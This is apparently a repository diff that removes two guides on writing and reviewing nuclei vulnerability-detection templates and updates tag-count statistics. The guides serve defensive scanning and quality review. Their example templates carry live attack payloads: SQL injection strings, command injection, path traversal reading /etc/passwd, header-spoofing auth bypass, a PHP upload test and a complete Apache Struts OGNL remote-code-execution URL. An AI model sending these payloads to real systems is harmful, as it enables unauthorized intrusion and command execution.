-# Layer 3: Prove vulnerability exists
-matchers-condition: and
-matchers:
-  - type: word                    # Layer 1: App identification
-    words:
-      - "Apache Struts Framework"
-      - "struts-tags"
-    part: body
-    
-  - type: regex                   # Layer 2: Version detection
-    regex:
-      - 'Struts 2\.[0-4]\.[0-9]+'  # Vulnerable version range
-    part: body
-    
-  - type: word                    # Layer 3: Exploitation proof
-    words:
-      - "ognl.OgnlException"
-      - "java.lang.SecurityException"
-    part: body
-    condition: or
-```
-
---
-
-## Testing Your Template
-
-### **Before Submitting - Test Thoroughly**
-```bash
-# Test against known vulnerable instance
-nuclei -t your-template.yaml -target http://vulnerable-app.local -debug
-
-# Test against patched/non-vulnerable systems
-nuclei -t your-template.yaml -target http://patched-app.local -debug
-
-# Test against similar but different applications
-nuclei -t your-template.yaml -target http://different-but-similar-app.local -debug
-```
-
-### **Validation Checklist**
- [ ] Template detects the vulnerability on vulnerable systems
- [ ] Template does NOT trigger false positives on:
-  - [ ] Patched versions of the same application
-  - [ ] Similar applications from the same vendor
-  - [ ] Generic web frameworks or CMSs
-  - [ ] Default server error pages
- [ ] Matchers are specific enough to avoid honeypots
- [ ] References are valid and accessible
- [ ] YAML syntax is correct (`nuclei -validate -t template.yaml`)
-
---
-
-## Common Vulnerability Types - Template Patterns
-
-### **SQL Injection Detection**
-```yaml
-http:
-  - method: POST
-    path:
-      - "{{BaseURL}}/search"
-    body: "q={{payload}}"
-    
-    payloads:
-      payload:
-        - "1' OR '1'='1"
-        - "1' UNION SELECT version()--"
-        - "1' AND (SELECT SUBSTRING(@@version,1,1))='5'--"
-    
-    matchers:
-      - type: word
-        words:
-          - "mysql_fetch_array(): supplied argument"
-          - "You have an error in your SQL syntax"
-          - "Microsoft OLE DB Provider for ODBC"
-        part: body
-```
-
-### **Remote Code Execution (RCE)**
-```yaml
-variables:
-  cmd: "whoami"
-  marker: "{{rand_base(8)}}"
-
-http:
-  - method: POST
-    path:
-      - "{{BaseURL}}/execute"
-    body: |
-      command={{cmd}} && echo {{marker}}
-    
-    matchers:
-      - type: word
-        words:
-          - "{{marker}}"
-        part: body
-      - type: regex
-        regex:
-          - 'root|administrator|www-data'
-        part: body
-```
-
-### **Local File Inclusion (LFI)**
-```yaml
-http:
-  - method: GET
-    path:
-      - "{{BaseURL}}/view?file=../../../etc/passwd"
-      - "{{BaseURL}}/view?file=..\\..\\..\\windows\\win.ini"
-    
-    matchers:
-      - type: regex
-        regex:
-          - 'root:.*?:[0-9]*:[0-9]*:'  # Linux /etc/passwd
-          - '\[fonts\]'                 # Windows win.ini
-        part: body
-```
-
-### **Authentication Bypass**
-```yaml
-http:
-  - method: GET
-    path:
-      - "{{BaseURL}}/admin"
-    headers:
-      X-Originating-IP: 127.0.0.1
-      X-Forwarded-For: 127.0.0.1
-      X-Real-IP: 127.0.0.1
-    
-    matchers-condition: and
-    matchers:
-      - type: word
-        words:
-          - "Admin Dashboard"
-          - "Administrative Panel"
-        part: body
-      - type: status
-        status:
-          - 200
-```
-
---
-
-## Advanced Template Features
-
-### **Using Extractors for Data Collection**
-```yaml
-http:
-  - method: GET
-    path:
-      - "{{BaseURL}}/info"
-    
-    extractors:
-      - type: regex
-        name: version
-        regex:
-          - 'Version: ([0-9\.]+)'
-        group: 1
-    
-    matchers:
-      - type: word
-        words:
-          - "Application Info"
-        part: body
-```
-
-### **Conditional Logic with DSL**
-```yaml
-matchers:
-  - type: dsl
-    dsl:
-      - 'status_code == 200'
-      - 'contains(body, "vulnerable_pattern")'
-      - 'len(body) > 1000'
-    condition: and
-```
-
-### **Network Templates for Non-HTTP Services**
-```yaml
-network:
-  - inputs:
-      - data: "{{hex_decode('474554202f20485454502f312e310d0a0d0a')}}"  # GET / HTTP/1.1
-    host:
-      - "{{Hostname}}"
-    port: 8080
-    
-    matchers:
-      - type: word
-        words:
-          - "Server: VulnServer/1.0"
-        part: data
-```
-
---
-
-## Submission Guidelines
-
-### **Preparing Your Template for Submission**
-1. **Validate Syntax**
-   ```bash
-   nuclei -validate -t your-template.yaml
-   ```
-
-2. **Test Thoroughly**
-   ```bash
-   nuclei -t your-template.yaml -target vulnerable-instance.com -debug
-   ```
-
-3. **Check for Existing Templates**
-   - Search the repository for similar vulnerabilities
-   - Avoid duplicating existing detection logic
-   - If improving existing template, explain why
-
-4. **Follow Naming Conventions**
-   - Place in appropriate directory (`cves/2024/`, `exposures/`, `misconfiguration/`)
-   - Use descriptive filename: `CVE-2024-1234.yaml` or `app-name-vuln-type.yaml`
-
-### **Pull Request Best Practices**
- **Title**: Clear description of what the template detects
- **Description**: Include:
-  - Link to vulnerability details/advisory
-  - Affected versions
-  - Testing methodology
-  - Screenshots/proof if possible
- **Testing**: Show debug output proving detection works
- **Test Instances**: If you have a testable self-hosted instance or vulnerable environment that cannot be shared publicly, email [email protected]
- **References**: Include all relevant security advisories
-
-> **💡 Pro Tip**: Providing a testable vulnerable environment significantly reduces review time and speeds up the template merge process. Reviewers can immediately validate your template instead of setting up their own test environment.
-
---
-
-## Quality Checklist
-
-### **Before Submitting Your Template**
- [ ] **Functionality**
-  - [ ] Template detects the intended vulnerability
-  - [ ] No false positives on tested systems
-  - [ ] Matchers are specific and accurate
-  
- [ ] **Attribution**
-  - [ ] Original vulnerability discoverer credited in author field
-  - [ ] All references included and valid
-  - [ ] Proper CVSS scoring if applicable
-  
- [ ] **Quality**
-  - [ ] YAML syntax is valid
-  - [ ] Follows nuclei template conventions
-  - [ ] Includes appropriate tags and metadata
-  
- [ ] **Testing**
-  - [ ] Tested against vulnerable instance
-  - [ ] Tested against non-vulnerable similar systems
-  - [ ] Debug output reviewed for accuracy
-  
- [ ] **Documentation**
-  - [ ] Clear description of what template detects
-  - [ ] Proper severity classification
-  - [ ] Complete reference list
-
---
-
-## Examples of High-Quality Templates
-
-### **Complete CVE Template Example**
-```yaml
-id: CVE-2024-1234-apache-struts-rce
-
-info:
-  name: Apache Struts 2.x OGNL Code Injection
-  author: your-github-username,original-researcher-handle
-  severity: critical
-  description: |
-    Apache Struts 2.x before 2.3.34 and 2.5.x before 2.5.16 suffer from 
-    OGNL injection vulnerability in the namespace value that allows remote 
-    code execution.
-  reference:
-    - https://cwiki.apache.org/confluence/display/WW/S2-057
-    - https://nvd.nist.gov/vuln/detail/CVE-2018-11776
-    - https://seclists.org/fulldisclosure/2018/Aug/31
-  classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
-    cvss-score: 8.1
-    cve-id: CVE-2018-11776
-    cwe-id: CWE-94
-  metadata:
-    verified: true
-    shodan-query: 'http.component:"Apache Struts"'
-    fofa-query: 'body="struts" && title="Apache"'
-  tags: cve,cve2018,rce,apache,struts,ognl,kev
-
-variables:
-  command: "whoami"
-  marker: "{{rand_base(8)}}"
-
-http:
-  - method: GET
-    path:
-      - "{{BaseURL}}/${(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='{{command}}').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}/actionChain1.action"
-
-    matchers-condition: and
-    matchers:
-      - type: status
-        status:
-          - 200
-
-      - type: word
-        words:
-          - "struts"
-          - "java"
-        part: body
-        condition: or
-
-      - type: regex
-        regex:
-          - 'root|administrator|www-data|apache'
-        part: body
-```
-
---
-
-## Getting Help
-
-### **Resources**
- **Official Documentation**: [ProjectDiscovery Template Docs](https://docs.projectdiscovery.io/templates/introduction)
- **HTTP Templates**: [HTTP Protocol Documentation](https://docs.projectdiscovery.io/templates/protocols/http)
- **AI Template Creation**: [ProjectDiscovery Cloud Templates](https://cloud.projectdiscovery.io/templates) - AI-powered template generation
- **Examples**: Browse existing templates in the [Nuclei Templates Repository](https://github.com/projectdiscovery/nuclei-templates)
- **Community**: Join [ProjectDiscovery Discord](https://discord.gg/projectdiscovery) for questions and discussions
- **Testing**: Use local vulnerable applications for safe testing
- **Test Instances**: Email templates@projectdiscovery.io if you can provide a testable vulnerable environment
-
-> **💡 Pro Tip**: Sharing test instances with reviewers significantly accelerates the template review and merge process.
-
-### **Common Issues and Solutions**
- **False Positives**: Make matchers more specific, add version detection
- **YAML Errors**: Use online YAML validators, check indentation
- **Template Not Triggering**: Verify target is actually vulnerable, check debug output
- **Performance Issues**: Minimize requests, optimize matchers
-
---
-
-*This guide provides everything needed to create high-quality, accurate nuclei templates that contribute valuable security detection capabilities to the community.*
@@ -1,441 +0,0 @@
-# Nuclei Template Review Guide
-**Best Practices for Template Quality and Security**
-
---
-
-## Quick Reference
-
-### **Review Priority Areas**
-1. **Quality & Consistency** - Formatting, syntax, field standardization
-2. **Metadata Enhancement** - Search queries, classifications, documentation  
-3. **Tags Optimization** - Category alignment, searchability
-4. **Classification** - CVE/CWE alignment, severity scoring
-5. **Matcher Refinement** - Detection logic, false positive prevention
-
-### **Common Areas for Improvement**
- **Community Contributions:** Often need metadata and classification enhancements
- **Template Reviews:** Focus on technical accuracy and matcher quality
-
---
-
-## Pre-Review Checklist
-
-### **Template Completeness Verification**
-```yaml
-Required Fields Checklist:
- [ ] id: Short, descriptive (max 3-4 words)
- [ ] name: Format "Vendor Product Version - Vulnerability"  
- [ ] author: Template creator, vulnerability discoverer (comma-separated)
- [ ] severity: info/low/medium/high/critical (CVSS aligned)
- [ ] description: Clear vulnerability explanation
- [ ] reference: Valid POC/advisory links
- [ ] classification: CVE-ID, CWE-ID if applicable
-```
-
-### **Author Attribution Best Practices**
-```yaml
-# GOOD - Include both template author and vulnerability discoverer in author field
-info:
-  author: template-author-github-username,original-discoverer-handle
-  description: SQL injection vulnerability in Example App v2.1.0 allows remote code execution.
-  reference:
-    - https://github.com/security_researcher/advisories/example-app-sqli
-    - https://nvd.nist.gov/vuln/detail/CVE-2024-1234
-
-# EXAMPLES of proper author attribution
-info:
-  author: princechaddha,0xd0ff9  # Template by princechaddha, vulnerability found by 0xd0ff9
-
-info:
-  author: dhiyaneshDk,researcher_name  # Template by dhiyaneshDk, discovered by researcher_name
-
-info:
-  author: geeknik,@security_handle  # Template by geeknik, found by @security_handle
-```
-
-### **Metadata Quality Check**
-```yaml
-Enhanced Metadata:
- [ ] verified: true (if tested with debug data)
- [ ] shodan-query: Search dork for asset discovery
- [ ] fofa-query: Alternative search engine query
- [ ] tags: Appropriate categories (cve, rce, lfi, etc.)
-
-Note: max-request is auto-generated and doesn't need manual input
-```
-
---
-
-## Matcher Quality Framework
-
-### **🚫 Weak Matchers (High False Positive Risk)**
-
-#### **Generic Response Patterns - AVOID**
-```yaml
-# BAD - Matches any admin interface globally
-matchers:
-  - type: word
-    words:
-      - "admin"
-      - "login"
-      - "dashboard"
-    part: body
-```
-**Problem:** These terms appear on millions of legitimate systems
-
-#### **Version-Only Detection - AVOID**
-```yaml  
-# BAD - Matches all versions, not just vulnerable ones
-matchers:
-  - type: regex
-    regex:
-      - 'WordPress [0-9]+\.[0-9]+'
-    part: body
-```
-**Problem:** Doesn't verify actual vulnerability presence
-
-### **✅ Strong Vulnerability-Specific Matchers**
-
-#### **Multi-Layer Verification Strategy**
-```yaml
-# GOOD - Combines application + version + vulnerability proof
-matchers-condition: and
-matchers:
-  - type: word                    # Layer 1: Identify specific application
-    words:
-      - "Grafana Dashboard"
-      - "grafana.com/login"
-    part: body
-    
-  - type: regex                   # Layer 2: Confirm vulnerable version range
-    regex:
-      - 'version.*[6-8]\.[0-5]\.[0-9]'
-    part: body
-    
-  - type: word                    # Layer 3: Verify exploit success
-    words:
-      - "unauthorized_data_access"
-      - "/api/snapshots/{{randstr}}"
-    part: body
-    condition: or
-```
-
-#### **CVE-Specific Template Example**
-```yaml
-# CVE-2024-1234 - Specific Application RCE
-matchers-condition: and  
-matchers:
-  - type: word
-    words:
-      - "VulnApp Management Console v2.1.0"    # Exact vulnerable version
-      - "Build 2024.03.15"                     # Specific build identifier
-    part: body
-    
-  - type: status                              # Expected response code
-    status:
-      - 200
-      
-  - type: word                                # Exploitation proof
-    words:  
-      - "RCE_EXECUTION_SUCCESS_{{randstr}}"    # Unique payload response
-      - "nuclei_test_command_output"           # Command execution indicator
-    part: body
-    condition: or
-```
-
-#### **Panel Detection - Unique Signatures**
-```yaml  
-# FortiGate Panel - Multiple unique identifiers
-matchers-condition: and
-matchers:
-  - type: word                    
-    words:
-      - "<title>FortiGate - Login</title>"     # Specific page title
-      - "Fortinet, Inc."                       # Vendor attribution  
-      - "FortiOS Version:"                     # Version indicator
-    part: body
-    condition: or
-    
-  - type: regex
-    regex:
-      - '/images/fortinet_logo_[0-9]+\.png'    # Unique asset pattern
-      - 'build_[0-9]{4}_[0-9]{6}'              # Build number format specific to FortiGate
-    part: body
-    condition: or
-```
-
---
-
-## False Positive Prevention
-
-### **High-Risk Scenarios to Test**
-Before approval, verify matchers DON'T trigger on:
-
-1. **Related Non-Vulnerable Systems**
-   - Same vendor, different products
-   - Same application, patched versions
-   - Similar interfaces, different implementations
-
-2. **Generic Web Applications**
-   - Common frameworks (WordPress, Django, Rails)
-   - Standard admin panels (cPanel, Plesk)
-   - Default server pages (Apache, Nginx)
-
-3. **Honeypot/Security Tools**
-   - Intentionally deceptive responses
-   - Security scanners mimicking vulnerabilities
-   - Research environments with fake responses
-
-### **Matcher Testing Checklist**
-```yaml
-Required Validation Steps:
- [ ] Test against 3+ non-vulnerable similar applications
- [ ] Verify unique response elements are truly unique
- [ ] Confirm payload/exploitation indicators are specific
- [ ] Check matcher doesn't trigger on default installations
- [ ] Validate version detection accuracy (if applicable)
-```
-
---
-
-## Review Categories by Impact
-
-### **1. Metadata Enhancement**
-**Most Common Missing Elements:**
- `shodan-query` for asset discovery
- `fofa-query` for alternative search engines
- `classification` fields for vulnerability tracking
-
-**Review Actions:**
-```yaml
-# Add asset discovery capabilities
-metadata:
-  verified: true
-  shodan-query: 'http.title:"Grafana" http.component:"Grafana"'
-  fofa-query: 'title="Grafana" && body="grafana"'
-
-# Ensure proper classification
-classification:
-  cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
-  cvss-score: 9.8
-  cve-id: CVE-2024-1234
-  cwe-id: CWE-89
-```
-
-### **2. Matcher Quality**
-**Common Issues:**
- Overly broad detection patterns
- Missing context verification
- Weak exploitation proof
-
-**Review Standards:**
-```yaml
-# Require multi-layer validation
-matchers-condition: and  # Force all conditions to match
-matchers:
-  - type: word            # Application identification
-  - type: status          # Response validation  
-  - type: word            # Vulnerability proof
-    condition: or         # Allow multiple proof methods
-```
-
-### **3. Severity Assessment**
-**CVSS Alignment Requirements:**
- **Critical (9.0-10.0):** Remote code execution, complete system compromise
- **High (7.0-8.9):** Significant data breach, privilege escalation
- **Medium (4.0-6.9):** Information disclosure, limited access
- **Low (0.1-3.9):** Minor information leakage, requires authentication
-
-### **4. Reference Validation**
-**Required Reference Quality:**
- Original vulnerability advisory (CVE, vendor security bulletin)
- Technical analysis or proof of concept
- NIST NVD entry (if available)
- Public disclosure timeline
-
---
-
-## Reviewer Action Templates
-
-### **For Metadata Improvements**
-```
-Please enhance the template metadata:
- Add `shodan-query` for asset discovery: `[suggested query]`
- Include `fofa-query` for alternative search: `[suggested query]`  
- Verify `classification` fields are complete
- Ensure `verified: true` with debug data if tested
-```
-
-### **For Weak Matchers**
-```
-The current matchers may produce false positives. Please:
- Add application-specific identifiers (exact titles, unique elements)
- Include version validation for vulnerable ranges only
- Verify exploitation proof rather than just version detection
- Test against [specific non-vulnerable scenarios]
-```
-
-### **For Severity Issues**
-```
-Severity should be [X] based on CVSS impact:
- Attack Vector: [Network/Adjacent/Local/Physical]
- Impact: [Complete/Partial/None] for CIA triad
- Required Privileges: [None/Low/High]
- Reference CVSS calculator: [link]
-```
-
-### **For Missing References**
-```
-Please add comprehensive references:
- Original vulnerability disclosure/advisory
- Technical analysis or exploitation details  
- Official vendor security bulletin (if available)
- NIST NVD entry: https://nvd.nist.gov/vuln/detail/CVE-XXXX-XXXX
-```
-
-### **For Missing Vulnerability Discoverer Attribution**
-```
-Please credit the original vulnerability discoverer in the author field:
- Update author field: "template-author,vulnerability-discoverer" (comma-separated)
- Example: "princechaddha,0xd0ff9" or "dhiyaneshDk,researcher_name"
- Include original disclosure/research reference
- Ensure proper credit for both template creator AND vulnerability researcher
-```
-
---
-
-## Quality Standards & Goals
-
-### **Template Accuracy Goals**
- **False Positive Rate:** <2% (verified through community feedback)
- **Detection Coverage:** 95%+ for vulnerable instances
- **Metadata Completeness:** 100% required fields, 80%+ enhanced fields
-
-### **Review Consistency Standards**
- **Response Time:** Initial review within 48 hours
- **Feedback Quality:** Specific, actionable guidance with examples
- **Approval Criteria:** All quality checks pass, tested when possible
-
-### **Community Impact**
- **Contribution Quality:** Monitor improvement patterns in repeat contributors
- **Review Effectiveness:** Track issues caught in review vs. post-merge
- **Knowledge Transfer:** Successful elevation of community template quality
-
---
-
-## Advanced Review Techniques
-
-### **Template Testing Environment Setup**
-```bash
-# Recommended testing workflow
-nuclei -t new-template.yaml -target vulnerable-lab.com -debug
-nuclei -t new-template.yaml -target patched-system.com -debug
-nuclei -t new-template.yaml -list target-variety.txt -silent
-```
-
-### **Vulnerability Context Research**
-1. **CVE Database Cross-Reference:** Verify vulnerability details match template scope
-2. **Vendor Advisory Review:** Confirm affected versions and exploitation requirements  
-3. **Community Disclosure Analysis:** Check for additional context or limitations
-4. **Exploit Database Validation:** Compare detection approach with known exploits
-
-### **Review Documentation Standards**
- Document testing methodology in PR comments
- Provide specific improvement suggestions with examples
- Reference similar high-quality templates as comparison
- Explain security rationale for matcher requirements
-
---
-
-## Practical Examples by Vulnerability Type
-
-### **SQL Injection Templates**
-```yaml
-# WRONG - Generic database errors (match many systems)
-matchers:
-  - type: word
-    words:
-      - "mysql_fetch"
-      - "SQL syntax"
-
-# RIGHT - Specific to vulnerability context
-matchers:
-  - type: word
-    words:
-      - "mysql_fetch_array(): supplied argument"    # Specific error pattern
-      - "WHERE id='1' OR '1'='1'"                   # Injection payload context
-      - "users table does not exist"                # Application-specific error
-    part: body
-    condition: and
-```
-
-### **RCE Templates**
-```yaml
-# WRONG - Generic command output
-matchers:
-  - type: word
-    words:
-      - "root"
-      - "/bin/bash"
-
-# RIGHT - Command execution in vulnerability context
-matchers:
-  - type: regex
-    regex:
-      - 'uid=0\(root\) gid=0\(root\) groups=0\(root\)'  # Complete whoami output
-    part: body
-  - type: word
-    words:
-      - "nuclei_rce_test_{{rand_base(6)}}"               # Unique payload identifier
-    part: body
-```
-
-### **File Upload Vulnerabilities**
-```yaml
-# WRONG - Generic file upload success
-matchers:
-  - type: word
-    words:
-      - "uploaded successfully"
-      - "file saved"
-
-# RIGHT - Vulnerability-specific upload validation
-matchers:
-  - type: word
-    words:
-      - "nuclei_test_{{randstr}}.php uploaded to /var/www/uploads/"  # Specific path + file
-      - "File permissions: 644"                                      # System response
-      - "<?php echo 'nuclei_upload_test'; ?>"                       # File content verification
-    part: body
-    condition: and
-```
-
---
-
-## Multi-Layer Matcher Strategy
-
-```yaml
-# Use multiple verification layers
-matchers-condition: and
-matchers:
-  - type: word           # Layer 1: Identify the application
-    words:
-      - "VulnApp Management Console"
-    part: body
-    
-  - type: regex          # Layer 2: Confirm vulnerable version
-    regex:
-      - 'Version: [1-2]\.[0-5]\.[0-9]'
-    part: body
-    
-  - type: word           # Layer 3: Verify vulnerability exists
-    words:
-      - "debug_info_exposed"
-      - "configuration_leak"
-    part: body
-    condition: or
-```
-
---
-
-*This guide provides comprehensive standards for creating and reviewing high-quality nuclei templates that are accurate, specific, and minimize false positives.*
@@ -1 +1 @@
-{"tags":[{"name":"vuln","count":6621},{"name":"cve","count":4221},{"name":"discovery","count":3717},{"name":"vkev","count":1769},{"name":"wordpress","count":1643},{"name":"panel","count":1523},{"name":"wp-plugin","count":1459},{"name":"exposure","count":1443},{"name":"xss","count":1403},{"name":"osint","count":1131},{"name":"misconfig","count":983},{"name":"rce","count":952},{"name":"tech","count":946},{"name":"wp","count":918},{"name":"lfi","count":850},{"name":"detect","count":763},{"name":"devops","count":752},{"name":"cloud","count":718},{"name":"unauth","count":637},{"name":"cve2024","count":623},{"name":"edb","count":597},{"name":"wpscan","count":597},{"name":"cve2021","count":594},{"name":"sqli","count":583},{"name":"cve2023","count":571},{"name":"cve2022","count":569},{"name":"packetstorm","count":552},{"name":"authenticated","count":546},{"name":"intrusive","count":520},{"name":"login","count":516},{"name":"kev","count":507},{"name":"cve2025","count":409},{"name":"phishing","count":402},{"name":"file","count":392},{"name":"network","count":387},{"name":"oast","count":355},{"name":"default-login","count":336},{"name":"cve2020","count":324},{"name":"config","count":321},{"name":"apache","count":282},{"name":"tcp","count":271},{"name":"auth-bypass","count":271},{"name":"microsoft","count":258},{"name":"token-spray","count":247},{"name":"top-200","count":235},{"name":"gcp","count":234},{"name":"osint-social","count":231},{"name":"gcp-cloud-config","count":227},{"name":"token","count":226},{"name":"gcloud","count":226},{"name":"cve2019","count":223},{"name":"iot","count":216},{"name":"malware","count":214},{"name":"azure","count":213},{"name":"","count":209},{"name":"cve2018","count":205},{"name":"aws","count":196},{"name":"csp-bypass","count":192},{"name":"code","count":191},{"name":"time-based-sqli","count":191},{"name":"azure-cloud-config","count":191},{"name":"ssrf","count":190},{"name":"redirect","count":185},{"name":"install","count":180},{"name":"amazon","count":175},{"name":"security","count":164},{"name":"keys","count":159},{"name":"disclosure","count":157},{"name":"local","count":154},{"name":"joomla","count":153},{"name":"aws-cloud-config","count":147},{"name":"cms","count":140},{"name":"router","count":139},{"name":"linux","count":139},{"name":"cve2026","count":139},{"name":"ftp","count":137},{"name":"files","count":133},{"name":"cve2017","count":131},{"name":"ai","count":129},{"name":"audit","count":122},{"name":"kubernetes","count":121},{"name":"js","count":118},{"name":"cve2010","count":115},{"name":"file-upload","count":112},{"name":"fpd","count":107},{"name":"tokens","count":102},{"name":"top-100","count":100},{"name":"debug","count":98},{"name":"passive","count":97},{"name":"oss","count":96},{"name":"windows-audit","count":95},{"name":"oracle","count":91},{"name":"enum","count":89},{"name":"seclists","count":88},{"name":"cisco","count":88},{"name":"privesc","count":87},{"name":"windows","count":85},{"name":"takeover","count":81},{"name":"fileupload","count":78},{"name":"k8s","count":77},{"name":"adobe","count":75},{"name":"deserialization","count":73},{"name":"detection","count":71},{"name":"vmware","count":68},{"name":"cve2015","count":66},{"name":"traversal","count":66},{"name":"ics","count":66},{"name":"google","count":66},{"name":"huntr","count":64},{"name":"cve2016","count":64},{"name":"atlassian","count":64},{"name":"logs","count":64},{"name":"oob","count":63},{"name":"ir","count":63},{"name":"alibaba","count":62},{"name":"php","count":62},{"name":"c2","count":61},{"name":"api","count":60},{"name":"dast","count":57},{"name":"cve2014","count":55},{"name":"ssh","count":55},{"name":"ssti","count":53},{"name":"aem","count":53},{"name":"fortinet","count":52},{"name":"sap","count":52},{"name":"injection","count":52},{"name":"misc","count":52},{"name":"plugin","count":50},{"name":"ibm","count":50},{"name":"generic","count":50},{"name":"ecommerce","count":49},{"name":"osint-gaming","count":49},{"name":"wp-theme","count":48},{"name":"tenable","count":48},{"name":"log4j","count":48},{"name":"info-leak","count":48},{"name":"xxe","count":47},{"name":"springboot","count":46},{"name":"vulhub","count":46},{"name":"cnvd","count":46},{"name":"hackerone","count":46},{"name":"firewall","count":45},{"name":"jndi","count":45},{"name":"aliyun","count":45},{"name":"kisa","count":44},{"name":"ssl","count":44},{"name":"listing","count":44},{"name":"dns","count":44},{"name":"oa","count":43},{"name":"miscellaneous","count":43},{"name":"k8s-cluster-security","count":42},{"name":"osint-porn","count":42},{"name":"osint-hobby","count":42},{"name":"postgresql","count":42},{"name":"bank","count":42},{"name":"tls","count":41},{"name":"dashboard","count":41},{"name":"devsecops","count":39},{"name":"jira","count":39},{"name":"dlink","count":39},{"name":"xwiki","count":38},{"name":"cti","count":38},{"name":"graphql","count":37},{"name":"scada","count":36},{"name":"google-cloud-sql","count":36},{"name":"gitlab","couLine truncated
+{"tags":[{"name":"cve","count":3275},{"name":"panel","count":1338},{"name":"xss","count":1255},{"name":"wordpress","count":1180},{"name":"exposure","count":1105},{"name":"wp-plugin","count":1031},{"name":"osint","count":813},{"name":"tech","count":800},{"name":"rce","count":783},{"name":"lfi","count":775},{"name":"misconfig","count":754},{"name":"devops","count":740},{"name":"cloud","count":697},{"name":"edb","count":599},{"name":"wp","count":578},{"name":"packetstorm","count":552},{"name":"wpscan","count":536},{"name":"cve2021","count":513},{"name":"cve2022","count":513},{"name":"detect","count":492},{"name":"cve2023","count":489},{"name":"sqli","count":487},{"name":"cve2024","count":472},{"name":"login","count":456},{"name":"unauth","count":436},{"name":"kev","count":436},{"name":"authenticated","count":425},{"name":"intrusive","count":405},{"name":"file","count":377},{"name":"oast","count":284},{"name":"cve2020","count":277},{"name":"default-login","count":276},{"name":"config","count":255},{"name":"token-spray","count":247},{"name":"apache","count":241},{"name":"microsoft","count":240},{"name":"top-200","count":235},{"name":"gcp","count":232},{"name":"gcp-cloud-config","count":226},{"name":"gcloud","count":224},{"name":"network","count":219},{"name":"malware","count":213},{"name":"osint-social","count":212},{"name":"token","count":211},{"name":"azure","count":210},{"name":"","count":205},{"name":"csp-bypass","count":204},{"name":"aws","count":192},{"name":"azure-cloud-config","count":191},{"name":"time-based-sqli","count":191},{"name":"auth-bypass","count":190},{"name":"cve2018","count":184},{"name":"iot","count":184},{"name":"cve2019","count":183},{"name":"code","count":177},{"name":"amazon","count":175},{"name":"install","count":166},{"name":"redirect","count":157},{"name":"keys","count":156},{"name":"joomla","count":151},{"name":"ssrf","count":148},{"name":"aws-cloud-config","count":147},{"name":"tcp","count":142},{"name":"security","count":137},{"name":"router","count":132},{"name":"cve2025","count":127},{"name":"files","count":125},{"name":"cms","count":123},{"name":"cve2017","count":120},{"name":"phishing","count":118},{"name":"cve2010","count":112},{"name":"kubernetes","count":111},{"name":"disclosure","count":107},{"name":"top-100","count":100},{"name":"tokens","count":97},{"name":"windows-audit","count":90},{"name":"linux","count":88},{"name":"seclists","count":86},{"name":"oss","count":85},{"name":"local","count":81},{"name":"takeover","count":81},{"name":"privesc","count":81},{"name":"oracle","count":80},{"name":"fileupload","count":77},{"name":"js","count":76},{"name":"windows","count":76},{"name":"cisco","count":75},{"name":"enum","count":73},{"name":"k8s","count":71},{"name":"file-upload","count":66},{"name":"adobe","count":65},{"name":"huntr","count":64},{"name":"ir","count":63},{"name":"c2","count":61},{"name":"cve2015","count":61},{"name":"alibaba","count":61},{"name":"cve2016","count":60},{"name":"atlassian","count":59},{"name":"google","count":59},{"name":"detection","count":59},{"name":"vmware","count":58},{"name":"deserialization","count":56},{"name":"audit","count":55},{"name":"php","count":52},{"name":"dast","count":51},{"name":"logs","count":50},{"name":"cve2014","count":50},{"name":"tenable","count":48},{"name":"traversal","count":48},{"name":"hackerone","count":48},{"name":"log4j","count":48},{"name":"ssti","count":48},{"name":"generic","count":47},{"name":"ssh","count":47},{"name":"debug","count":47},{"name":"misc","count":46},{"name":"vulhub","count":46},{"name":"cnvd","count":46},{"name":"aem","count":46},{"name":"osint-gaming","count":45},{"name":"injection","count":45},{"name":"plugin","count":45},{"name":"aliyun","count":45},{"name":"jndi","count":44},{"name":"oa","count":43},{"name":"ssl","count":43},{"name":"springboot","count":43},{"name":"fortinet","count":42},{"name":"ibm","count":42},{"name":"osint-hobby","count":42},{"name":"osint-porn","count":42},{"name":"tls","count":41},{"name":"firewall","count":41},{"name":"listing","count":40},{"name":"info-leak","count":40},{"name":"miscellaneous","count":39},{"name":"postgresql","count":39},{"name":"dlink","count":39},{"name":"cti","count":38},{"name":"sap","count":38},{"name":"api","count":38},{"name":"k8s-cluster-security","count":37},{"name":"jira","count":37},{"name":"wp-theme","count":36},{"name":"google-cloud-sql","count":36},{"name":"osint-misc","count":35},{"name":"networking","count":34},{"name":"devsecops","count":34},{"name":"gitlab","count":34},{"name":"lfr","count":34},{"name":"xxe","count":34},{"name":"dns","count":33},{"name":"fuzz","count":33},{"name":"yonyou","count":32},{"name":"printer","count":31},{"name":"vpc","count":31},{"name":"graphql","count":31},{"name":"nginx","count":31},{"name":"osint-tech","count":31},{"name":"ec2","count":30},{"name":"alibaba-cloud-config","count":30},{"name":"osint-coding","count":30},{"name":"prestashop","count":29},{"name":"gke","count":29},{"name":"ftp","count":29},{"naLine truncated
@@ -1,12 +1,12 @@
 |    TAG    | COUNT |    AUTHOR     | COUNT | DIRECTORY  | COUNT | SEVERITY | COUNT | TYPE | COUNT |
 |-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
-| vuln      |  6621 | dhiyaneshdk   |  2100 | http       | 10890 | info     |  4997 | file |   447 |
-| cve       |  4221 | daffainfo     |   949 | cloud      |   663 | high     |  2893 | dns  |    33 |
-| discovery |  3717 | princechaddha |   867 | file       |   447 | medium   |  2789 |      |       |
-| vkev      |  1769 | dwisiswant0   |   807 | code       |   286 | critical |  1788 |      |       |
-| wordpress |  1643 | pussycat0x    |   792 | network    |   281 | low      |   504 |      |       |
